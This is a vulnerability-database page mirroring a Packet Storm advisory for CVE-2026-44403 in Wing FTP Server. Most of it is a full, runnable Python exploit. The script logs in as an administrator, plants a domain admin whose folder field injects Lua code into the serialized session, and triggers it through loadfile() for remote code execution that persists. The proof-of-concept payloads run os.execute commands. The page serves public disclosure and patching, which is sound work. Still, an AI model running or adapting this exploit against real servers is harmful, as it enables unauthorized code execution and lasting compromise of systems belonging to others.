Lucene search
K

📄 Wing FTP Server 8.1.3 Remote Code Execution

🗓️ 29 May 2026 00:00:00Reported by Ünsal Furkan HaraniType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 41 Views

Wing FTP Server is vulnerable to authenticated RCE via session serialization (CVE 2026 44403).

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-44403
14 May 202606:58
githubexploit
ATTACKERKB
CVE-2026-44403
12 May 202620:43
attackerkb
Circl
CVE-2026-44403
14 May 202607:00
circl
CNNVD
Wing FTP Server 代码注入漏洞
12 May 202600:00
cnnvd
CVE
CVE-2026-44403
12 May 202620:43
cve
Cvelist
CVE-2026-44403 Wing FTP Server < 8.1.3 Authenticated Remote Code Execution via Session Serialization
12 May 202620:43
cvelist
Exploit DB
Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
29 May 202600:00
exploitdb
EUVD
EUVD-2026-29848
12 May 202621:31
euvd
NVD
CVE-2026-44403
12 May 202621:16
nvd
Packet Storm
📄 Wing FTP Server 8.1.2 Remote Code Execution via Session Poisoning
18 Jun 202600:00
packetstorm
Rows per page
# Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution 
    # Date: 12.05.2026
    # Exploit Author: Ünsal Furkan Harani
    # Vendor Homepage:
    [https://www.wftpserver.com/](https://www.wftpserver.com/download.htm)
    # Software Link:
    https://www.wftpserver.com/download.htm
    # Version: v8.1.2
    # Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3
    # CVE : CVE-2026-44403
    
    Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An authenticated administrator can inject arbitrary Lua code through the domain admin `mydirectory` (basefolder) field, which gets executed server-side via `loadfile()`.
    
    #!/usr/bin/env python3
    """
    PREREQUISITES:
      - Valid full admin credentials (not readonly, not domain admin)
      - Target: Wing FTP Server web admin panel (default port 5466)
    
    IMPACT:
      Remote Code Execution as the Wing FTP Server service account.
      Persistence: payload re-executes every time the poisoned session is loaded.
    """
    
    import requests
    import hashlib
    import json
    import sys
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class WingFTPSessionPoisoning:
        def __init__(self, target, admin_user, admin_pass, use_ssl=False):
            proto = "https" if use_ssl else "http"
            self.base_url = f"{proto}://{target}"
            self.admin_user = admin_user
            self.admin_pass = admin_pass
            self.session = requests.Session()
            self.session.verify = False
    
        def login(self):
            """Authenticate to the admin panel and obtain UIDADMIN session cookie."""
            # service_login.html accepts credentials via POST
            url = f"{self.base_url}/service_login.html"
            data = {
                "username": self.admin_user,
                "password": self.admin_pass,
            }
            headers = {
                "Referer": f"{self.base_url}/admin_login.html",
            }
            resp = self.session.post(url, data=data, headers=headers)
            try:
                result = resp.json()
                if result.get("code") == 0:
                    print(f"[+] Login successful as '{self.admin_user}'")
                    return True
                elif result.get("code") in (1, 2):
                    print(f"[-] 2FA required — this PoC doesn't handle TOTP")
                    return False
                else:
                    print(f"[-] Login failed: {result}")
                    return False
            except Exception:
                # Legacy endpoint (admin_loginok.html) returns HTML
                if "logged in ok" in resp.text or "main.html" in resp.text:
                    print(f"[+] Login successful (legacy endpoint)")
                    return True
                print(f"[-] Login failed: {resp.text[:200]}")
                return False
    
        def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
            """
            Create a domain admin with a poisoned 'mydirectory' (basefolder) field.
    
            The mydirectory value will be serialized as:
                _SESSION['admin_basefolder']=[[<mydirectory_value>]]
    
            Our payload breaks out of the [[ ]] long string:
                _SESSION['admin_basefolder']=[[/tmp/x]]<LUA_PAYLOAD>--]]
    
            When this session file is loaded via loadfile() + f(), the payload executes.
            """
            # Construct the poisoned basefolder value
            # Format: <innocent_prefix>]]<lua_code>--
            # The ]] closes the long string, code executes, -- comments out the rest
            poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
    
            admin_obj = {
                "username": poison_admin_user,
                "password": poison_admin_pass,
                "readonly": False,
                "domainadmin": 1,        # Make it a domain admin
                "domainlist": "",         # Will be set by server
                "mydirectory": poisoned_basefolder,  # THIS IS THE PAYLOAD
                "ipmasks": [],
                "enable_two_factor": False,
                "two_factor_code": "",
            }
    
            url = f"{self.base_url}/service_add_admin.html"
            headers = {
                "Referer": f"{self.base_url}/main.html",
            }
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
    
            print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...")
            print(f"[*] Poisoned basefolder: {poisoned_basefolder}")
            # Use multipart/form-data — Wing FTP's Lua POST parser handles it more reliably
            resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers)
    
            try:
                result = resp.json()
                if result.get("code") == 0:
                    print(f"[+] Poisoned admin created successfully!")
                    return True
                elif result.get("code") == -3:
                    print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...")
                    return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload)
                else:
                    print(f"[-] Failed to create admin: {result}")
                    return False
            except Exception:
                print(f"[-] Unexpected response: {resp.text[:200]}")
                return False
    
        def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
            """Modify existing admin to inject the poisoned basefolder."""
            poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
    
            admin_obj = {
                "username": poison_admin_user,
                "password": poison_admin_pass,
                "readonly": False,
                "domainadmin": 1,
                "domainlist": "",
                "mydirectory": poisoned_basefolder,
                "ipmasks": [],
                "enable_two_factor": False,
                "two_factor_code": "",
            }
    
            # service_modify_admin.html has NO bracket stripping at all
            url = f"{self.base_url}/service_modify_admin.html"
            headers = {
                "Referer": f"{self.base_url}/main.html",
            }
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
    
            resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers)
            try:
                result = resp.json()
                if result.get("code") == 0:
                    print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!")
                    return True
                else:
                    print(f"[-] Failed to modify admin: {result}")
                    return False
            except Exception:
                print(f"[-] Unexpected response: {resp.text[:200]}")
                return False
    
        def trigger_payload(self, poison_admin_user, poison_admin_pass):
            """
            Trigger the payload by logging in as the poisoned domain admin.
    
            On login, service_login.html:95-96 stores the basefolder in session:
                rawset(_SESSION,"admin_basefolder",basefolder)
                rawset(_SESSION,"admin_nowpath",basefolder)
    
            SessionModule.save() serializes it as:
                _SESSION['admin_basefolder']=[[/tmp/x]]<PAYLOAD>--]]
    
            The payload executes on the NEXT session load (any subsequent request).
            """
            print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...")
    
            trigger_session = requests.Session()
            trigger_session.verify = False
    
            url = f"{self.base_url}/service_login.html"
            data = {
                "username": poison_admin_user,
                "password": poison_admin_pass,
            }
            headers = {
                "Referer": f"{self.base_url}/admin_login.html",
            }
    
            # Step 1: Login — stores poisoned basefolder in session
            resp = trigger_session.post(url, data=data, headers=headers)
            print(f"[*] Login response: {resp.text[:200]}")
    
            # Step 2: Any subsequent request triggers loadfile() on the session file
            # The session file now contains the Lua payload
            trigger_url = f"{self.base_url}/service_get_dir_list.html"
            headers["Referer"] = f"{self.base_url}/main.html"
            resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers)
            print(f"[*] Trigger response: {resp2.status_code}")
            print(f"[+] Payload should have executed on the server!")
    
            return True
    
    def demo_session_file():
        """
        Demonstrate what the poisoned session file looks like.
        Shows the exact Lua code that gets written and executed.
        """
        print("=" * 70)
        print("DEMONSTRATION: Poisoned Session File Content")
        print("=" * 70)
    
        payload = 'os.execute("id > /tmp/wingftp_pwned.txt")'
        basefolder = f'/tmp/x]]{payload}--'
    
        print(f"\n[1] Admin sets mydirectory to:")
        print(f"    {basefolder}")
    
        print(f"\n[2] On login, session is saved. serialize() outputs:")
        session_content = f"""_SESSION['admin']=[[poisoned_admin]]
    _SESSION['admin_basefolder']=[[{basefolder}]]
    _SESSION['admin_domainadmin']=1
    _SESSION['admin_domainlist']=[[]]
    _SESSION['admin_nowpath']=[[{basefolder}]]
    _SESSION['admin_readonly']=0
    _SESSION['ipaddress']=[[127.0.0.1]]
    _SESSION['logined']=[[true]]"""
    
        print(f"    --- session file content ---")
        for line in session_content.split('\n'):
            print(f"    {line}")
        print(f"    --- end ---")
    
        print(f"\n[3] Lua parser sees the basefolder line as:")
        print(f"    _SESSION['admin_basefolder']=[[/tmp/x]]  --> string '/tmp/x'")
        print(f"    {payload}                                 --> EXECUTED AS CODE!")
        print(f"    --]]                                      --> comment (ignored)")
    
        print(f"\n[4] Same for admin_nowpath line — payload executes TWICE.")
    
        print(f"\n[5] Result: '{payload}' runs as server process.")
        print("=" * 70)
    
    def main():
        if len(sys.argv) < 2:
            print(f"Usage: {sys.argv[0]} <mode> [args...]")
            print(f"")
            print(f"Modes:")
            print(f"  demo                              — Show how the vulnerability works")
            print(f"  exploit <host:port> <user> <pass>  — Create poisoned admin and trigger RCE")
            print(f"")
            print(f"Examples:")
            print(f"  {sys.argv[0]} demo")
            print(f"  {sys.argv[0]} exploit 192.168.1.10:5466 admin password123")
            sys.exit(1)
    
        mode = sys.argv[1]
    
        if mode == "demo":
            demo_session_file()
    
        elif mode == "exploit":
            if len(sys.argv) < 5:
                print("Usage: exploit <host:port> <admin_user> <admin_pass>")
                sys.exit(1)
    
            target = sys.argv[2]
            admin_user = sys.argv[3]
            admin_pass = sys.argv[4]
    
            # Default payload — write proof file (Windows-compatible)
            lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'
    
            poison_admin = "svc_backup"
            poison_pass = "P@ssw0rd123!"
    
            print(f"[*] Wing FTP Server Session Poisoning RCE — Chain 2")
            print(f"[*] Target: {target}")
            print(f"[*] Payload: {lua_payload}")
            print(f"[*] Poisoned admin account: {poison_admin}")
            print()
    
            exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass)
    
            if not exploit.login():
                sys.exit(1)
    
            if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload):
                sys.exit(1)
    
            exploit.trigger_payload(poison_admin, poison_pass)
    
            print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution")
        else:
            print(f"Unknown mode: {mode}")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()
    
    Sent with [Proton Mail](https://proton.me/mail/home) secure email.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.17.2
CVSS 48.6
EPSS0.02056
SSVC
41